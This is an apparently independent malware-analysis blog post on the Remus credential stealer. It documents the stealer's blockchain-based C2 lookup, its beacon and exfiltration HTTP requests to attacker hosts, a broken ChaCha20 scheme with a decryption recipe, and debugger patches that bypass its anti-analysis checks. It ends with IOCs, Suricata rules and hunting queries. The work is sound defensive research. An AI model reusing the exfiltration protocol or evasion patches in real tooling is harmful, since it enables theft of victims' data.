Disclaimer: This blog and all associated research are part of my personal independent study. All hardware, software, and infrastructure are personally owned and funded. No employer resources, property, or proprietary information are used in any part of this work. All opinions and content are my own.


Prior work. Gen Digital published the first public write-up of this family: Remus: 64-bit Variant of Lumma Stealer (April 2026). That blog covers the overall behavioural picture, the crypter wrapper, and the initial IOC set. This report complements — not duplicates — that work: it focuses specifically on the C2 communication protocol (stage-1 EtherHiding resolution and stage-2 beacon/exfil traffic), the cryptography protecting the stage-2 data-ship, and the detection content a SOC/IR team can deploy against that traffic. Findings unique to this report (not in the Gen Digital blog) are called out in §1.

This document is an analysis of the Remus stealer family (the 64-bit successor to Lumma), derived from static reverse engineering and traffic captured against a purpose-built Python C2 simulator. It consolidates everything a SOC, IR, or detection engineer needs to hunt, block, and retroactively decrypt Remus C2 traffic — without needing to read the full reverse-engineering report.

Primary sample SHA-256 64db10e76b46be8db36e02993d36559bc3f86606c9ea955731872b716c8f0c69
File type PE32+ (x86-64), 228 864 bytes
Build date 19.03.2026 (cleartext in .rdata)
Campaign ID 4f67bbdf7d86f1fd4419a24541d580a8
Family banner # REMUS LOG
Attribution Remus / 64-bit Lumma lineage (Gen Digital blog, April 2026)

1. Executive Summary

Remus is a two-stage stealer with on-chain C2 resolution. The sample loads its C2 URL at runtime by calling an Ethereum smart contract via a public RPC provider (EtherHiding — T1102.002), then sends form-encoded beacons and multipart/form-data data-ships to the resolved URL over plain HTTP.

Highest-value defender findings from this session:

  1. Complete cryptographic break. Remus encrypts each data-ship with ChaCha20 using a per-message random key, but appends that key as a cleartext trailer to the ciphertext. Every captured multipart blob is therefore self-decrypting — no sample memory, no C2, no key-exchange needed.
  2. Four-field header fingerprint present on every stage-2 request: Cache-Control: no-cache + Pragma: no-cache + Connection: Keep-Alive
    • a pinned Chrome-117 User-Agent, with no Accept* headers. High-precision IDS primitive.
  3. New hardcoded fallback C2http://coox.live:28313 — lives in the in-binary fallback table and is tried before the EtherHiding lookup on a cold boot. Not previously published.
  4. Pre-encryption plaintext recovered. The ciphertext decrypts to a custom-LZ77-compressed archive whose first entry is Info.yml — a YAML manifest listing the victim’s OS version, computer name, user, netbios, domain, AV product, motherboard, CPU, RAM, and display resolution in full cleartext. This exposes high-value IR pivots from a PCAP alone.

Figure 1 — End-to-end C2 protocol flow


2. Scope & Lab Setup

Figure 2 — Isolated lab topology

  • Analyst host (Linux, 192.168.189.10/24): runs remus_simulator.py bound to :8080 (HTTP, for the resolved-C2 exfil leg) and :8443 (TLS, for the Ethereum RPC leg), plus tcpdump / pktmon artefact capture and the offline decryption tools.
  • FlareVM (Windows 10, 192.168.189.20/24): runs the sample under x64dbg. hosts maps the 7 Ethereum RPC providers and coox.live to 192.168.189.20; netsh portproxy forwards 192.168.189.20:443 → 192.168.189.10:8443 (TLS) and 192.168.189.20:28313 → 192.168.189.10:8080 (plain-HTTP fallback).
  • Host-only vSwitch — no default gateway, no NAT. The VM is physically incapable of reaching the real C2, the real Ethereum mainnet, or any public-internet host. All C2 behaviour observed is produced by the sample talking to the simulator.

Seven independent validation rounds were run.


3. Protocol Overview

Two stages, in order:

Stage Transport Destination Purpose
1 HTTPS POST Public Ethereum RPC provider (default eth.llamarpc.com) Read the live C2 URL from a smart contract
2 Plain HTTP POST Resolved C2 (e.g. coox.live:28313, chalx.live:5902) Beacon + exfiltrate stealer data

On a cold boot the sample tries hardcoded fallback URLs from g_fallback_c2_url_table BEFORE going to the RPC provider. The fallback state is tracked in g_c2_rotation_state (byte_21AF1F94018); the sample rotates after 5 consecutive failed sends per URL. Only after exhausting the fallback table does the sample execute stage 1.

Stage-2 has three distinct request shapes, all POST /:

Shape Content-Type Size Role
Probe application/x-www-form-urlencoded ~45 B access_token=&debug=<URL>-<N> (retry counter in <N>)
Registration application/x-www-form-urlencoded ~74 B tag=<campaign>&hwid=<32-hex>
Data ship multipart/form-data; boundary=<rand> ~1 kB 3 fields: access_token, type, file (encrypted + key trailer)

4. Stage 1 — EtherHiding C2 Resolution

The sample issues a JSON-RPC eth_call against the Remus smart contract and decodes the returned dynamic string into the live C2 URL. No traffic goes to the real C2 during this stage — only to a public Ethereum RPC gateway. [report §7.4] [dyn]

4.1 Request

POST / HTTP/1.1
Host: eth.llamarpc.com
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

{"jsonrpc":"2.0","id":1,"method":"eth_call",
 "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
            "data":"0xc2fb26a6"},
           "latest"]}

4.2 RPC providers the sample will try

eth.llamarpc.com (primary, observed), plus peer providers: cloudflare-eth.com, rpc.ankr.com, mainnet.infura.io, eth-mainnet.g.alchemy.com, ethereum-rpc.publicnode.com, 1rpc.io. [report §7.4]

4.3 Response decoding

The sample searches the RPC response for the JSON key result\0, then takes the hex string that follows 0x, skips 64 + 64 hex chars (ABI offset + ABI length), and hex-decodes the remainder pairwise into UTF-16-LE bytes — which it writes to g_current_c2_url_wstr (word_21AF1F98E10). [IDA, mw_resolve_c2_url]

4.4 Passive blue-team pivot

Any defender can read the current Remus C2 URL without running the sample by issuing a read-only eth_call against the contract using any public block explorer or RPC client. As of 2026-04-11 the contract state decoded to http://chalx.live:5902. Read it now for today’s URL. [report §10]


5. Stage 2 — Beacon & Data-Ship Traffic

5.1 Captured traffic, as seen in Wireshark

Figure 3 — Wireshark: stage-2 POST in the filtered capture

Figure 3 — One captured stage-2 POST / request. The packet detail pane shows the full header set directly — Cache-Control: no-cache, Connection: Keep-Alive, Pragma: no-cache, Content-Type: application/x-www-form-urlencoded, plus the Chrome-117 User-Agent. The hex view on the bottom makes the Chrome-117 fingerprint visible in-the-wire.

Figure 4 — HTTP-only filter over the same capture

Figure 4 — Display filter http applied; Wireshark shows 198 HTTP requests (4.0% of the 5 000-packet sample). Every one is a POST / with the same application/x-www-form-urlencoded content type. Host 192.168.189.20 (FlareVM) → 192.168.189.10:8080 (simulator sink).

Figure 4b — Registration beacon via Follow HTTP Stream

Figure 4b — Wireshark Follow-HTTP-Stream view of the registration beacon (captures/remus_stage2_registration.pcap). Client bytes (red): the fixed header set — Cache-Control, Connection, Pragma triad + Chrome-117 UA — followed by the 74-byte form-encoded body carrying tag=4f67bbdf…d580a8 (cleartext campaign ID, matches the .rdata literal at 0x21AF1F9302C) and hwid=26a149153cc3c02d33dc75a3003b88d7 (per-host 32-hex fingerprint). Server bytes (blue): the simulator’s HTTP/1.1 200 OK · ok=1&msg=ack reply. Defenders can key IDS rules on any of these fields individually or in combination (see §10).

Figure 4c — Probe beacon via Follow HTTP Stream

Figure 4c — Wireshark Follow-HTTP-Stream view of a probe beacon (frame 5 of captures/remus_sample.pcap). Same fixed header set, but the 45-byte body is access_token=&debug=http://coox.live:28313-20: the sample echoes the resolved C2 URL it is trying to reach plus a retry counter (here, 20) that increments on each failed send. The empty access_token= value is the tell — it stays empty until the registration succeeds and the server issues a session token.

5.2 Fixed header set

All stage-2 requests carry this exact header set, in this exact order:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded     ← or multipart/form-data
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: <n>
Host: <resolved-c2>:<port>

Diagnostic quirks defenders can key on:

  • The no-cache / no-cache / Keep-Alive triad in that order is not how real Chrome arranges its headers.
  • Chrome-117 is pinned — real Chrome auto-updates, so a UA stuck at Chrome/117 on current Windows is a weak signal by itself.
  • No Accept, Accept-Encoding, Accept-Language, or Origin headers. Real Chrome always emits at least the first three.
  • Connection: Keep-Alive is claimed but the sample closes the socket after each response (observed).

5.3 Beacon sequence

# Shape Content-Type Size Body
1 Probe application/x-www-form-urlencoded 45 B access_token=&debug=<URL>-<retry_counter>
2 Registration application/x-www-form-urlencoded 74 B tag=<32-hex campaign-id>&hwid=<32-hex host fingerprint>
3 Data ship multipart/form-data; boundary=<rand> ~1 kB 3 fields: access_token=, type=0, file (filename=data, octet-stream, ChaCha20 + key trailer)
4+ Cadence probe application/x-www-form-urlencoded ~21 B Heartbeat (retry counter alone)

Observations:

  • Probe retry counter increments on each retry (observed values -74, -20, -21, -1030, …). It is visible in the wire body and makes each probe unique, defeating naive dedup at the proxy but providing a useful packet-ordering anchor for analysts.
  • Multipart boundary is per-request random — 9-char (5wwgk75ya), 13-char (TgH3y7uRTDXw), 18-char (gy71i8o45a2Va94RN9) observed across 3 captures. Do not key IDS signatures on the exact boundary string.
  • Early beacons (1, 2) and cadence heartbeats (4+) do not carry the # REMUS LOG banner. The banner lives inside the encrypted file field of a data-ship (shape 3).

5.4 hwid — per-host fingerprint

Observed value on this FlareVM: 26a149153cc3c02d33dc75a3003b88d7. 32 hex characters, stable across runs on the same host. Length matches MD5. Derivation primitive not yet byte-matched; likely MD5 of GetComputerNameA + GetUserNameA with a build-time salt. Defenders collecting hwid=<...> values across an estate can pivot on hwid as a stable per-host ID without knowing computer or user names.


6. Cryptographic Analysis

The stage-2 data-ship blob inside the multipart file field is encrypted with ChaCha20 using a key + nonce that travels as a cleartext trailer on the blob itself. Source: mw_encrypt_and_exfiltrate_payload at 0x21AF1F637F0.

Figure 5a — Multipart data-ship on the wire

Figure 5a — Wireshark Follow-HTTP-Stream view of a full stage-2 data-ship (captures/remus_stage2_dataship.pcap). The request carries the same header fingerprint as the beacon, but with Content-Type: multipart/form-data; boundary=5wwgk75ya and three form parts: access_token (empty), type=0, and file (filename=data, application/octet-stream). The octet-stream body is the high-entropy region highlighted in the middle of the stream — that’s the 726-byte ChaCha20 ciphertext plus its 40-byte key+nonce trailer. Defenders can grab this exact byte range from a PCAP and feed it to tools/decrypt_dataship.py for offline recovery of the cleartext Info.yml manifest (§6.4).

Figure 5b — Blob layout: ciphertext + trailing key

6.1 Encryption pipeline

  1. Plaintext (the Info.yml + other stolen-data files) is run through mw_lz77_compress (custom LZ77, not zlib).
  2. 10 consecutive mw_prng_next_dword calls produce 40 random bytes → 32 B key + 8 B nonce.
  3. mw_chacha20_init_state initialises a DJB-layout 64-byte state (sigma "expand 32-byte k", counter=0).
  4. mw_chacha20_encrypt_inplace stream-encrypts the LZ77 output in place.
  5. The 40-byte (key||nonce) is appended to the encrypted buffer as a cleartext trailer.
  6. The result is wrapped in a multipart file field and POSTed.

Figure 6 — IDA pseudocode of the encryption pipeline

Figure 6 — mw_encrypt_and_exfiltrate_payload pseudocode. Line 67 calls mw_lz77_compress. Lines 72–82 fill a 40-byte stack buffer with 10 mw_prng_next_dword outputs. Lines 83–84 run mw_chacha20_init_state + mw_chacha20_encrypt_inplace. The blob is then wrapped with mw_multipart_add_file_field (further down the function).

6.2 Live x64dbg capture of the encryption step

Figure 7 — Pre-encryption plaintext captured from heap at mw_lz77_compress entry

Figure 7 — State at 0x21AF1F637F0 (mw_encrypt_and_exfiltrate_payload entry) during the round-7 live session. The dump panel shows the heap buffer at 0x005B8390 — the pre-encryption plaintext beginning with the custom archive header 09 00 Info.yml\0 C9 03 00 00 and the # REMUS LOG banner. This plaintext is fed into mw_lz77_compress and then into ChaCha20.

Figure 8 — Per-message key + nonce captured pre-cipher-init; ciphertext after

*Figure 8 — Left: the 40 random bytes that become the ChaCha20 key

  • nonce, as observed in memory at 0x14FAE0/0x14FB00 immediately before mw_chacha20_init_state is called. Top-right: the buffer BEFORE encryption — the LZ77 output with the Info.yml archive header + REMUS LOG banner visible. Bottom-right: the same buffer AFTER mw_chacha20_encrypt_inplace — now high-entropy ciphertext. The captured key+nonce decrypt it back to the plaintext on the top using the recipe in the left panel.*

6.3 Decryption recipe

# strip trailing 40 bytes (key || nonce), feed to ChaCha20 counter=0
def decrypt_dataship(blob):
    ct    = blob[:-40]
    key   = blob[-40:-8]   # 32 B
    nonce = blob[-8:]      # 8 B
    return chacha20_xor(key, nonce, 0, ct)

Reference implementation (stdlib-only Python): tools/decrypt_dataship.py. ECRYPT test-vector validated; verified on 3 live captures.

6.4 Decrypted payload — the Info.yml manifest

Figure 9 — Decrypted round-6 multipart file field

Figure 9 — Left: first 256 bytes of the captured ciphertext blob + the extracted 40-byte trailer (key + nonce). Right: the decrypted plaintext with printable runs highlighted — the # REMUS LOG banner, Info.yml archive header, OS version, computer name, CPU identifier, RAM, GPU, and display resolution are all in the clear.

The Info.yml manifest (captured pre-encryption from heap):

# REMUS LOG

build:
  date: 19.03.2026
  tag: {tag}
  path: C:\Users\victim\Desktop\64db10e7.exe
  elevated: true
  ip-address: {ip}
  country: {country}
  time: {time}
os:
  version: Windows 10 Pro (10.0.19044) x64
  time-zone: UTC-7
  local-date: 18.04.2026 18:01:42
  install-date: 04.07.2022 17:28:04
  language: en-US
  computer-name: DESKTOP-CR
  user-name: aaa
  netbios: DESKTOP-CR
  domain:
  hostname: DESKTOP-CR
  anti-virus:
  - name: Windows Defender
    state: active
hardware:
  motherboard:
    manufacturer: VMware, Inc.
    product: VMware
  cpu:
  - manufacturer: Intel
    product: Intel(R) Xeon(R) CPU E5-2670 v3 @ 2.30GHz
    core count: 1
  ram:
  - product: VMW-8192MB
    size: 8192MB
  gpu:
  - VMware SVGA 3D
  display: 1920x1080

The {tag}, {ip}, {country}, and {time} placeholders are filled in after the sample receives a session token from the registration response. During our simulator runs the response did not contain a parseable session token, so those fields stayed templated — in a real infection they would hold the campaign ID, public IP, GeoIP country, and capture timestamp.

6.5 Defender value

  • Retrospective decryption of every captured Remus exfil with no knowledge of the sample’s runtime state. Grab a PCAP, extract the file field of any stage-2 multipart POST, run decrypt_dataship. Works across the entire Remus family since this scheme lives in a single primary-report function, not a campaign-specific module.
  • The Info.yml manifest exposes the victim’s OS version, computer name, user, domain, AV product, and hardware profile — all high-value for IR pivoting from a PCAP alone.

7. Reverse-Engineered Functions

VAs assume image base 0x21AF1F60000 (ASLR disabled for this sample).

7.1 C2 URL resolver

Figure 10 — mw_resolve_c2_url pseudocode

Figure 10 — mw_resolve_c2_url @ 0x21AF1F656B0. Two code paths gated on g_c2_rotation_state: the cold-boot branch decodes a fallback URL from g_fallback_c2_url_table; the “warm” branch (state 0xAD) triggers the full EtherHiding lookup and parses the JSON result field.

7.2 Encoding — string obfuscation & opaque predicates

Figure 11 — Opaque-predicate XOR loops producing the ChaCha20 sigma

Figure 11 — The ChaCha20 sigma "expand 32-byte k" is assembled four DWORDs at a time via one-shot XOR loops whose do/while(!v16) structure looks like 2³² iterations to a decompiler but runs exactly once (the counter goes 0→1 and jz falls through). This same idiom hides every polynomial-XOR string mask in the binary — see [report §4.1] for the full treatment.

7.3 Encoding — LZ77 compression

Figure 12 — mw_lz77_compress pseudocode

Figure 12 — mw_lz77_compress @ 0x21AF1F61EA0. Custom format with a 2 B magic, 2 B filename length, filename, 4 B content length, then a stream of literal runs interleaved with back-reference codes. Not zlib-compatible. See the plate comment in the IDB for the output structure.

7.4 Encryption — ChaCha20 state setup

Figure 13 — mw_chacha20_init_state pseudocode

Figure 13 — mw_chacha20_init_state @ 0x21AF1F63CD0. Builds the 64-byte ChaCha20 state block: sigma constant + 32 B key + 8 B counter + 8 B nonce (DJB layout). Counter is initialized to 0.

7.5 Encryption — ChaCha20 stream XOR

Figure 14 — mw_chacha20_encrypt_inplace pseudocode

Figure 14 — mw_chacha20_encrypt_inplace @ 0x21AF1F63F30. Per-block loop: 20 rounds (10 column+row pairs) over the state, add the result to the original state, XOR the serialized keystream with the input buffer, increment the counter, advance pointers, repeat until n_bytes consumed.

7.6 Transport — multipart file field

Figure 15 — mw_multipart_add_file_field pseudocode

Figure 15 — mw_multipart_add_file_field @ 0x21AF1F632F0. Builds the literal multipart boilerplate with fixed strings name="file", filename="data", Content-Type: application/ octet-stream. These are a high-precision defender fingerprint — they appear verbatim on every Remus stage-2 data-ship.


8. Execution Gating & Popup Bypass

Before stage-1 fires, the sample runs a gate chain:

  1. mw_env_check — environment/OS validation.
  2. mw_check_sandbox_dlls — 11 salted-CRC32 DLL hashes + Outlook honey@pot.com.pst honeypot check.
  3. mw_crypter_check — for the VT-hash sample, this function emits the “REMUS” / “Click Cancel to prevent malware from executing” dialog via a direct syscall to NtRaiseHardError (SSN 0x167) routed through mw_direct_syscall_wrapper. The dialog is hosted by csrss.exe on a privileged desktop, so user-mode SendInput / FindWindow / SendKeys are all blocked by UIPI.
  4. mw_check_cpuid_hypervisor — CPUID leaf 0x40000000 vs 5 obfuscated vendor IDs; on VMware this returns AL = 1 and the sample aborts via ExitProcess(0).

8.1 Bypass recipe for unattended runs

Patch 0x21AF1F87A10 with 3 bytes: B0 01 C3 (mov al,1; ret).

Figure 16 — x64dbg: mw_crypter_check before and after the 3-byte stub

Figure 16 — Left: original mw_crypter_check entry — 828 B of code, 223 basic blocks, leading to the NtRaiseHardError dialog. Right: stubbed with mov al,1; ret — the gate returns “OK” immediately, skipping the popup + the whole decoy state machine. Validated end-to-end: the stubbed sample proceeds through the full chain to stage-2 beacons with no dialog at all.

Two other patches that do not work and why:

  • ntdll!NtRaiseHardError → xor eax,eax; ret (no Response write): caller reads stale 0 (ResponseReturnToCaller) from the out pointer, downstream gate aborts via ExitProcess(0).
  • ntdll!NtRaiseHardError writing *Response = 6 (ResponseOk): sample still exits. The crypter gate checks a second piece of state only set when the dialog really ran, so a return-only patch at the syscall stub isn’t sufficient. The 3-byte mw_crypter_check stub sidesteps that check.

8.2 VMware detection — override AL at the CPUID return

At 0x21AF1F88D9F (mw_check_cpuid_hypervisor ret), when the breakpoint fires, set AL=0 in x64dbg before continuing.


9. Indicators of Compromise

9.1 In-binary static IOCs

Type Value Notes
SHA-256 64db10e76b46be8db36e02993d36559bc3f86606c9ea955731872b716c8f0c69 Primary VT sample
Family banner # REMUS LOG Cleartext @ 0x21AF1F93020
Campaign ID 4f67bbdf7d86f1fd4419a24541d580a8 Cleartext @ 0x21AF1F9302C
Build date 19.03.2026 Cleartext @ 0x21AF1F92A90
Sandbox hashes 44-byte salted-CRC32 table @ 0x21AF1F92EE0 — see [report §7.3]

9.2 Stage-1 network IOCs

Field Value
RPC gateway (primary) eth.llamarpc.com
RPC peers (any may be used) cloudflare-eth.com, rpc.ankr.com, mainnet.infura.io, eth-mainnet.g.alchemy.com, ethereum-rpc.publicnode.com, 1rpc.io
Contract address 0x999941b74F6bbc921D5174A5b29911562cd2D7CF (Ethereum mainnet)
Function selector 0xc2fb26a6
RPC method / body eth_call + "latest"

9.3 Stage-2 network IOCs

Destination First observed Notes
chalx.live:5902 [report §7.4] (blockchain decode 2026-04-11) Live C2 from on-chain contract
coox.live:28313 [dyn] New — hardcoded fallback, not previously published

Plus the rotating payload signatures in the file field’s key trailer (different per message) — not a useful IOC since each request carries its own.

9.4 Host fingerprint (hwid)

32-character lowercase hex string, stable per host. Appears in the registration beacon as hwid=<32-hex>. Length matches MD5. Stable across runs on the same host.


10. Detection Content

10.1 Suricata rules

Rules 10, 11, 14, 15, and 20–23 were verified to fire against the round-3 capture and artifacts. Rules 12, 13, and 1–3 cover wider-net hunting across the family.

# Stage-1 EtherHiding lookup  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

alert http $HOME_NET any -> any any (msg:"Remus EtherHiding eth_call to Lumma/Remus contract";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"Content-Type|3A| application/json";
    http.request_body;
    content:"\"method\":\"eth_call\"";
    content:"\"to\":\"0x999941b74f6bbc921d5174a5b29911562cd2d7cf\""; nocase;
    classtype:trojan-activity; sid:9001001; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus EtherHiding selector 0xc2fb26a6";
    http.request_body; content:"\"data\":\"0xc2fb26a6\"";
    classtype:trojan-activity; sid:9001002; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus Chrome/117 UA + ETH-RPC destination";
    http.user_agent; content:"Chrome/117.0.0.0 Safari/537.36"; depth:80;
    http.host; pcre:"/(^|\\.)(eth\\.llamarpc|cloudflare-eth|rpc\\.ankr|mainnet\\.infura|eth-mainnet\\.g\\.alchemy|ethereum-rpc\\.publicnode|1rpc)\\.(com|io)$/";
    classtype:trojan-activity; sid:9001003; rev:1;)

# Stage-2 beacons & data-ship  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

alert http $HOME_NET any -> any any (msg:"Remus stage-2 probe beacon (access_token + debug=URL)";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"application/x-www-form-urlencoded";
    http.request_body;
    content:"access_token="; depth:14;
    content:"&debug=http"; distance:0; within:48;
    classtype:trojan-activity; sid:9001010; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus stage-2 registration beacon (tag= + hwid=)";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"application/x-www-form-urlencoded";
    http.request_body;
    content:"tag="; depth:4;
    content:"&hwid="; distance:0; within:60;
    pcre:"/tag=[0-9a-f]{32}&hwid=[0-9a-f]{32}/";
    classtype:trojan-activity; sid:9001011; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus exfil log banner in HTTP body";
    flow:established,to_server;
    http.method; content:"POST";
    http.request_body; content:"# REMUS LOG "; depth:128;
    classtype:trojan-activity; sid:9001012; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus campaign ID 4f67bbdf… in HTTP body";
    flow:established,to_server;
    http.request_body; content:"4f67bbdf7d86f1fd4419a24541d580a8"; depth:256;
    classtype:trojan-activity; sid:9001013; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus stage-2 multipart data ship (name=file + filename=data + type=0)";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"multipart/form-data";
    http.request_body;
    content:"name=|22|access_token|22|";
    content:"name=|22|type|22|";
    content:"name=|22|file|22|"; content:"filename=|22|data|22|";
    content:"application/octet-stream";
    classtype:trojan-activity; sid:9001014; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus stage-2 fixed header fingerprint (no-cache triad + Chrome-117 + no Accept*)";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"Cache-Control|3A| no-cache|0D 0A|";
    http.header; content:"Connection|3A| Keep-Alive|0D 0A|";
    http.header; content:"Pragma|3A| no-cache|0D 0A|";
    http.user_agent; content:"Chrome/117.0.0.0 Safari/537.36";
    http.header; content:!"Accept|3A|";
    http.header; content:!"Accept-Encoding|3A|";
    http.header; content:!"Accept-Language|3A|";
    classtype:trojan-activity; sid:9001015; rev:1;)

# Destination-based signatures  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

alert http $HOME_NET any -> any any (msg:"Remus fallback C2 host coox.live";
    http.host; content:"coox.live"; endswith;
    classtype:trojan-activity; sid:9001020; rev:1;)

alert http $HOME_NET any -> any any (msg:"Remus stage-2 exfil host chalx.live";
    http.host; content:"chalx.live"; endswith;
    classtype:trojan-activity; sid:9001021; rev:1;)

alert ip $HOME_NET any -> any any (msg:"Remus stage-2 unusual dest port 28313 (coox.live)";
    dsize:>40; tcp.dst_port:28313; classtype:trojan-activity; sid:9001022; rev:1;)

alert ip $HOME_NET any -> any any (msg:"Remus stage-2 unusual dest port 5902 (chalx.live)";
    dsize:>40; tcp.dst_port:5902; classtype:trojan-activity; sid:9001023; rev:1;)

10.2 YARA rules

The two family-level and sample-specific rules from the primary report (report/remus_64bit_lumma_analysis.md §9) cover the on-disk binary. No new YARA is added here — the network signatures above complement rather than duplicate them.


11. Hunting Queries

11.1 Proxy / web-gateway logs

method="POST" AND
(
  (host IN ("eth.llamarpc.com","cloudflare-eth.com","rpc.ankr.com",
            "mainnet.infura.io","eth-mainnet.g.alchemy.com",
            "ethereum-rpc.publicnode.com","1rpc.io")
   AND request_body CONTAINS "eth_call"
   AND request_body CONTAINS "0xc2fb26a6")
  OR
  (host IN ("chalx.live","coox.live"))
  OR
  (user_agent CONTAINS "Chrome/117.0.0.0 Safari/537.36"
   AND url_path = "/"
   AND headers CONTAINS "Cache-Control: no-cache"
   AND headers NOT_CONTAINS "Accept-Encoding:")
)

11.2 EDR process-network telemetry

process_image NOT IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe",
                      "opera.exe","metamask.exe")
AND (
  dest_host IN ("eth.llamarpc.com","cloudflare-eth.com","rpc.ankr.com",
                "mainnet.infura.io","eth-mainnet.g.alchemy.com",
                "ethereum-rpc.publicnode.com","1rpc.io",
                "chalx.live","coox.live")
  OR dest_port IN (5902,28313)
)

11.3 DNS logs

qname IN ("chalx.live","coox.live")
OR (qname MATCHES /.*\.(llamarpc|cloudflare-eth|rpc\.ankr|infura|alchemy|publicnode|1rpc)\.(com|io)$/
    AND query_process NOT IN (<browser/wallet allowlist>))

12. Verified vs Inferred

Claim Source
Chrome-117 UA, dwAccessType=1, dwFlags=0 at WinHttpOpen [report §7.6] + [dyn]
eth_call body shape (method/to/data/latest) [IDA] + [dyn smoke test]
ABI response → UTF-16-LE URL bytes [IDA mw_resolve_c2_url]
Stage-2 method = POST, path = / [dyn]
Stage-2 Content-Type = application/x-www-form-urlencoded / multipart [dyn]
Probe / registration / data-ship body shapes [dyn]
Fixed 4-header fingerprint (no-cache triad + Chrome-117 + no Accept*) [dyn]
Fallback URL coox.live:28313 hardcoded in g_fallback_c2_url_table [dyn]
Multipart boundary is per-request random, variable length [dyn]
ChaCha20 (DJB 8+8 layout) encryption, counter=0 [IDA + dyn decrypt]
40-byte key+nonce trailer appended to every ciphertext [IDA + dyn decrypt]
Plaintext is custom-LZ77 with Info.yml first entry [dyn, decrypted]
Info.yml field names + victim host data present in plaintext [dyn, round-7 heap read]
Popup emitted from inside mw_crypter_check via NtRaiseHardError [dyn, stub test]
3-byte stub at 0x21AF1F87A10 bypasses popup unattended [dyn]
hwid length = 32 hex chars [dyn]
hwid derivation primitive [inferred] MD5 likely
Stage-2 HTTP success status range [inferred] 200–299

Appendix A — IDB Rename Map

Applied via IDA MCP on 2026-04-18 for this session. See also the primary-report Appendix A for earlier renames from static analysis.

Address Name Role
0x21AF1F637F0 mw_encrypt_and_exfiltrate_payload Stage-2 multipart data-ship builder (ChaCha20 + trailer)
0x21AF1F61EA0 mw_lz77_compress Pre-encryption custom compressor
0x21AF1F63CD0 mw_chacha20_init_state ChaCha20 64-byte state setup
0x21AF1F63F30 mw_chacha20_encrypt_inplace ChaCha20 stream XOR (20 rounds)
0x21AF1F63020 mw_multipart_add_text_field Adds access_token / type fields
0x21AF1F632F0 mw_multipart_add_file_field Adds file field (octet-stream)
0x21AF1F64860 mw_prng_next_dword PRNG producing key + nonce bytes
0x21AF1F65240 mw_http_post_with_retry 5-attempt retry wrapper w/ URL rotation
0x21AF1F656B0 mw_resolve_c2_url Fallback-table OR on-chain C2 URL resolver
0x21AF1F65D00 mw_build_formurlencoded_exfil Probe / registration body builder
0x21AF1F94018 g_c2_rotation_state State byte for fallback-URL rotation
0x21AF1F98DA0 g_hwid_buffer Per-host 32-hex fingerprint buffer
0x21AF1F98E10 g_current_c2_url_wstr Resolved C2 URL (UTF-16)
0x21AF1F98D90 g_prng_state PRNG state
0x21AF1F91C80 g_fallback_c2_url_table Hardcoded-fallback C2 URL table
0x21AF1F98DC8 g_session_chacha20_state Session-wide ChaCha20 state (unrelated to exfil cipher)